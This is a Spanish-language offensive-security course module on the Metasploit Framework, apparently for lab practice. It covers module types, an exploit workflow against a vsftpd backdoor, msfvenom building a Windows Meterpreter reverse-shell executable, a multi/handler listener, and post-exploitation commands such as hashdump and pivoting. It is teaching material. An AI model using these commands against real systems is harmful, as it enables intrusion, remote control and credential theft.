Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 17Con laboratorio

Metasploit Framework

Metasploit es la navaja suiza de la explotación: un marco que reúne miles de exploits, cargas (payloads) y módulos auxiliares y de post-explotación bajo una interfaz común. No sustituye a entender lo que hace (por eso va después de aprender a buscar y adaptar exploits a mano), pero cuando dominas el flujo, convierte en minutos lo que a mano llevaría horas.

Objetivos de la unidad
Sobre el laboratorio. El framework completo son ~2 GB y cada módulo necesita un objetivo vulnerable concreto. Por eso el laboratorio de este módulo es un campo de identificación del flujo: presenta escenarios y reconoces el módulo o comando correcto. La instalación real y su uso contra una máquina vulnerable (Metasploitable) se explican aquí y en el writeup, para que los reproduzcas en tu propio entorno.

1. Qué es y cómo se instala

Metasploit Framework es de código abierto y viene en Kali (si no, se instala con sudo apt install metasploit-framework). Sus piezas:

ComponenteQué es
msfconsoleLa consola interactiva principal.
msfvenomGenerador de payloads y artefactos (independiente de la consola).
Base de datosPostgreSQL (msfdb init) para guardar hosts, servicios y hallazgos.

Y los tipos de módulo, que conviene tener claros:

MóduloPara qué
exploitAprovecha una vulnerabilidad concreta.
payloadEl código que se ejecuta si el exploit tiene éxito (shell, Meterpreter).
auxiliaryEscáneres, fuzzers, fuerza bruta... todo lo que no es "exploit".
postPost-explotación: se ejecuta sobre una sesión ya conseguida.
encoderCodifica payloads (históricamente para evasión; hoy poco eficaz por sí solo).

2. El flujo de trabajo, paso a paso

La secuencia canónica dentro de msfconsole es casi siempre la misma:

kali@lab
$ msf6 > search vsftpd                 # 1. encontrar el modulo
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  # 2. seleccionarlo
msf6 > show options                   # 3. ver que hay que rellenar
msf6 > set RHOSTS 10.10.0.50          # 4. configurar el objetivo
msf6 > exploit                        # 5. lanzar (alias: run)

Comandos de apoyo que se usan constantemente: info (detalles y requisitos del módulo), show payloads (payloads compatibles con ese exploit), check (comprobar si el objetivo es vulnerable sin explotar), y back (salir del módulo actual).

3. Payloads: elegir el correcto

El payload es lo que corre en el objetivo tras el exploit. Elegirlo mal es la causa nº 1 de "el exploit funciona pero no consigo shell". Tres ejes que hay que entender:

La joya de la corona es Meterpreter: un payload avanzado que corre en memoria y ofrece un intérprete con decenas de comandos (subir/bajar ficheros, capturar pantalla, volcar hashes, pivotar, migrar de proceso) sin tocar el disco.

4. msfvenom: fabricar artefactos

No siempre explotas un servicio: a veces necesitas entregar un fichero malicioso (un .exe, un .apk, una macro, un script). msfvenom genera ese artefacto con el payload dentro, en el formato que pidas:

kali@lab
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f exe -o shell.exe

Desglose: -p el payload, LHOST/LPORT a dónde debe conectar de vuelta, -f el formato de salida (exe, elf, raw, python...), -o el fichero. Con -e y -i se aplican encoders e iteraciones (evasión limitada), y con -b se excluyen bad characters (enlaza con el módulo 10).

5. Recibir la conexión: multi/handler

Si generas un payload reverse con msfvenom y lo entregas por tu cuenta, necesitas algo que escuche la conexión de vuelta. Ese es exploit/multi/handler: un receptor genérico que configuras con el mismo payload, LHOST y LPORT que usaste en msfvenom.

kali@lab
$ msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.7
msf6 > set LPORT 4444
msf6 > exploit -j        # -j: en segundo plano (job)

El error clásico: que el payload del handler no coincida exactamente con el del artefacto. Si uno es staged y el otro stageless, la sesión no se establece.

6. Sesiones y Meterpreter

Cada shell conseguida es una sesión. Se gestionan con sessions -l (listar), sessions -i N (interactuar con la N) y, dentro de Meterpreter, background para dejarla en segundo plano y volver a la consola. Comandos de Meterpreter que se usan a diario:

ComandoQué hace
sysinfoInformación del sistema comprometido
getuidCon qué usuario corres
hashdumpVuelca los hashes de contraseñas locales (Windows)
upload / downloadTransferir ficheros
migrateMoverse a otro proceso (persistencia/estabilidad)
shellCaer a una shell del sistema

7. Post-explotación

Los módulos post se ejecutan sobre una sesión existente para exprimirla. Uno imprescindible es el sugeridor de exploits locales, que cruza la información del sistema con los exploits de escalada disponibles:

kali@lab
$ msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run

Otros: recolección de credenciales, enumeración del dominio, y el pivoting con route/autoroute, que integra el módulo 15 dentro de Metasploit (encaminar tráfico hacia redes internas a través de la sesión).

8. Metasploit no te exime de entender

Una advertencia profesional: Metasploit hace fácil lanzar exploits, y eso es una trampa. Un exploit puede tumbar el servicio objetivo; algunos son inestables. Antes de exploit, usa check cuando exista, lee el info del módulo, y ten claro qué hace. En un examen como el OSCP, además, el uso de Metasploit está limitado (solo una máquina), precisamente para obligarte a saber explotar a mano. Metasploit es un acelerador, no un sustituto del criterio.

Para profundizar
🧰 Herramientas relacionadas (Ghost Academy)

Guías y laboratorios ya publicados en Ghost Academy sobre las herramientas de este módulo:

Metasploit · Metasploit (lab)

Laboratorio: flujo de Metasploit

⬇ Descargar laboratorio (ZIP)

Descomprime, lee el LEEME.md y lanza startlab.sh. Es un campo de identificación: 8 escenarios donde reconoces el módulo o comando correcto del flujo (search, use, options, set, payload, msfvenom, multi/handler, meterpreter, post). Verifícalos en http://localhost:9393.

Para practicarlo en vivo: instala metasploit-framework y úsalo contra una VM de Metasploitable, siguiendo el writeup.

¿Atascado o ya terminado? La solución paso a paso muestra cada respuesta y el flujo real completo. Úsala cuando lo hayas intentado.

Autoevaluación

  1. ¿Qué diferencia hay entre un módulo exploit, uno auxiliary y uno post?
  2. Explica reverse vs bind y cuándo usarías cada uno.
  3. ¿Qué distingue un payload staged de uno stageless, y cómo se ven en el nombre?
  4. Generas un .exe con msfvenom. ¿Qué necesitas configurar en el multi/handler para recibir la sesión?
  5. ¿Por qué no debe coincidir "a medias" el payload del artefacto y el del handler?
  6. ¿Qué hace local_exploit_suggester y sobre qué se ejecuta?
  7. ¿Por qué conviene usar check e info antes de exploit?